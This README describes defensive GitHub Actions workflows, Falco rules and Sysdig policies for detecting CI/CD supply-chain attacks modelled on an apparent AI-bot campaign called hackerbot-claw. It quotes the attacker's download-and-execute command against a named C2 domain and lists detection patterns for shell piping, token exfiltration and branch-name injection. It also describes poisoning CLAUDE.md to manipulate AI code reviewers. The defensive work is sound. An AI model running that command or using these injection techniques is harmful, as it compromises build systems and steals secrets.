GitHub Actions Runtime Security: Detecting hackerbot-claw Style Attacks

Overview

This repository provides ready-to-use GitHub Actions workflows and supporting configurations for detecting CI/CD supply chain attacks like the hackerbot-claw campaign (Feb–Mar 2026), where an autonomous AI bot exploited workflow misconfigurations across Microsoft, DataDog, Aqua Security, CNCF, and other major open source projects.

All attacks ultimately called curl -sSfL hackmoltrepeat.com/molt | bash to download and execute a second-stage payload from the attacker's C2 server.

---

The Workflows — .github/workflows/

These are the primary deliverables. Drop them into your own repo's .github/workflows/ directory.

sysdig-agent-workflow.yml — Runtime Security CI

Deploys the Sysdig Agent on the runner (eBPF-based) to provide live threat detection during every build. Supports two modes:

• Normal CI — agent monitors your build steps, alerts on suspicious activity
• Attack simulation — called by simulate-attack-workflow.yml to run monitored test payloads against your detection rules

Triggers: pull_request, push to main/master, workflow_dispatch, workflow_call (for simulation)

Secrets required:

Secret	Description
SYSDIG_ACCESS_KEY	Sysdig agent access key
SYSDIG_COLLECTOR_URL	Collector endpoint (e.g. collector.sysdigcloud.com)
SYSDIG_SECURE_TOKEN	Sysdig Secure API token (for event queries)
SYSDIG_SECURE_URL	Sysdig Secure URL (e.g. https://us2.app.sysdig.com)

What it detects:

• curl-pipe-bash payload delivery (curl -sSfL <url> | bash)
• base64-encoded payloads piped to shell
• Build tools (go, cargo, npm) spawning network tools
• Token exfiltration via curl POST with secret env vars
• Execution of binaries written to /tmp
• Outbound connections to non-standard ports and known C2 domains

---

simulate-attack-workflow.yml — Safe Attack Simulation

Calls sysdig-agent-workflow.yml as a reusable workflow and runs 8 safe simulations of the hackerbot-claw attack patterns against localhost/non-routable addresses. Use this to verify your detection rules fire correctly before relying on them in production.

Trigger: workflow_dispatch only (manual)

Test suites:

Suite	Tests
process	curl-pipe-bash, base64-decode-pipe, build-tool-spawns-curl, exec-from-/tmp
network	Outbound to non-standard port, IP geolocation domains
credential	Token exfiltration via curl POST, environment variable dump
injection	Branch name command substitution
all	All of the above

After the run, check Sysdig Secure > Events filtered by github_run_id to confirm each test triggered the expected rule.

---

Supporting Files

.github/
└── workflows/
    ├── sysdig-agent-workflow.yml      # Primary: Sysdig-monitored CI workflow
    └── simulate-attack-workflow.yml   # Test: safe attack simulation
falco/
├── ci-security-rules.yaml            # Custom Falco rules for CI/CD attacks (12 rules)
├── falco-workflow.yml                # GitHub Actions workflow using Falco (eBPF)
└── falco-self-hosted-setup.sh        # Install Falco as a systemd service on a runner host
sysdig-agent/
├── sysdig-runtime-policies.yaml      # Sysdig Secure runtime policies (import via UI or API)
├── sysdig-self-hosted-setup.sh       # Install Sysdig Agent persistently on a runner host
└── dragent.yaml                      # Minimal dragent config reference
sysdig-serverless/
├── sysdig-serverless-workflow.yml    # Workflow for restricted envs (no eBPF, uses ptrace + auditd)
└── k8s-runner-deployment.yaml        # K8s runner Deployment with Sysdig workload-agent sidecar
shared/
├── hardened-checkout-action.yml      # Composite action: safe checkout with injection validation
└── detect-injection.sh               # Script: scan workflow files for vulnerable patterns

---

Attack Vectors Covered

The hackerbot-claw campaign used 5 distinct exploitation techniques:

#	Vector	Example Target	Detection
1	Pwn Request — pull_request_target + untrusted fork checkout	awesome-go, akri, trivy	hardened-checkout-action.yml, detect-injection.sh
2	Direct Script Injection — modifying scripts that workflows execute	awesome-go (go run)	Falco rule: Network Tool Spawned by Build Process
3	Branch Name Injection — shell payloads in branch names via ${{ }}	Microsoft ai-discovery-agent, RustPython	Falco rule: Suspicious Command Substitution; detect-injection.sh
4	Filename Injection — base64-encoded commands hidden in filenames	DataDog	Falco rule: base64 Decode Piped to Shell
5	AI Prompt Injection — poisoning CLAUDE.md to manipulate AI code reviewers	Multiple repos	Out-of-band (not a runtime signal)

---

Detection Approaches

Falco (open source, eBPF-based)

• Syscall-level monitoring via eBPF probes — no agent to maintain
• 12 custom rules in falco/ci-security-rules.yaml targeting CI/CD attack patterns
• Installs per-job on GitHub-hosted runners (~2–5s startup) or as a persistent systemd service on self-hosted runners via falco/falco-self-hosted-setup.sh
• Requires kernel 5.8+ with BTF for CO-RE probes (GitHub-hosted Ubuntu runners qualify)

Sysdig Agent (commercial, full observability)

• eBPF-based with Sysdig Secure backend: policy enforcement, forensic captures, event correlation, and notification channels
• Per-job install on GitHub-hosted runners (sysdig-agent-workflow.yml) or persistent service on self-hosted runners (sysdig-agent/sysdig-self-hosted-setup.sh)
• K8s runner variant uses a workload-agent sidecar (sysdig-serverless/)
• Import sysdig-agent/sysdig-runtime-policies.yaml into Sysdig Secure to get 4 policy groups: Network Egress, Suspicious Process Execution, Credential Theft, and Git Operation Anomalies

---

Quick Start

Option A: Sysdig Agent on GitHub-Hosted Runners

# 1. Copy the workflows
cp .github/workflows/sysdig-agent-workflow.yml   your-repo/.github/workflows/
cp .github/workflows/simulate-attack-workflow.yml your-repo/.github/workflows/

# 2. Set secrets in your repo settings:
#    SYSDIG_ACCESS_KEY, SYSDIG_COLLECTOR_URL, SYSDIG_SECURE_TOKEN, SYSDIG_SECURE_URL

# 3. Open a PR or push to main — the agent starts monitoring immediately

# 4. Verify detection rules work:
#    Actions > Security Rule Validation (Safe Simulation) > Run workflow

Option B: Falco on GitHub-Hosted Runners

# 1. Copy the workflow and rules
cp falco/falco-workflow.yml   your-repo/.github/workflows/falco-secured-ci.yml
mkdir -p your-repo/.github/falco
cp falco/ci-security-rules.yaml your-repo/.github/falco/

Option C: Falco on Self-Hosted Runners (persistent)

# On your runner host:
sudo bash falco/falco-self-hosted-setup.sh
# Rules are deployed to /etc/falco/rules.d/ci-security-rules.yaml
# Falco runs as falco-modern-bpf.service monitoring all workflow executions

Option D: Sysdig Agent on Self-Hosted Runners (persistent)

export SYSDIG_ACCESS_KEY="your-key"
export SYSDIG_COLLECTOR="collector.sysdigcloud.com"  # adjust for your region
sudo -E bash sysdig-agent/sysdig-self-hosted-setup.sh
# Then import sysdig-agent/sysdig-runtime-policies.yaml into Sysdig Secure

Scan Your Workflows for Vulnerabilities

# Detect pull_request_target misuse, ${{ }} injection, and weak permissions
bash shared/detect-injection.sh .github/workflows/

---

Important Notes

• Kernel requirements: Falco eBPF (CO-RE/BTF) needs kernel 5.8+. GitHub-hosted Ubuntu runners meet this. For older kernels, falco-self-hosted-setup.sh falls back to legacy eBPF with kernel headers.
• Performance: Falco adds ~2–5s startup per job on hosted runners. Sysdig Agent on self-hosted runners has no per-job cost since it runs persistently.
• False positives: CI/CD environments are noisy. The rules here focus on specific attack indicators (C2 domains, token exfil patterns, suspicious process trees) to minimize noise.
• These are detective controls: Pair with preventive controls — StepSecurity Harden-Runner, CODEOWNERS on workflow files, least-privilege token permissions, and shared/hardened-checkout-action.yml to block Pwn Request attacks.
• K8s runners: Use sysdig-serverless/k8s-runner-deployment.yaml for a Kubernetes runner Deployment with a Sysdig workload-agent sidecar. The shareProcessNamespace: true setting lets the sidecar monitor runner processes without requiring a host-level agent.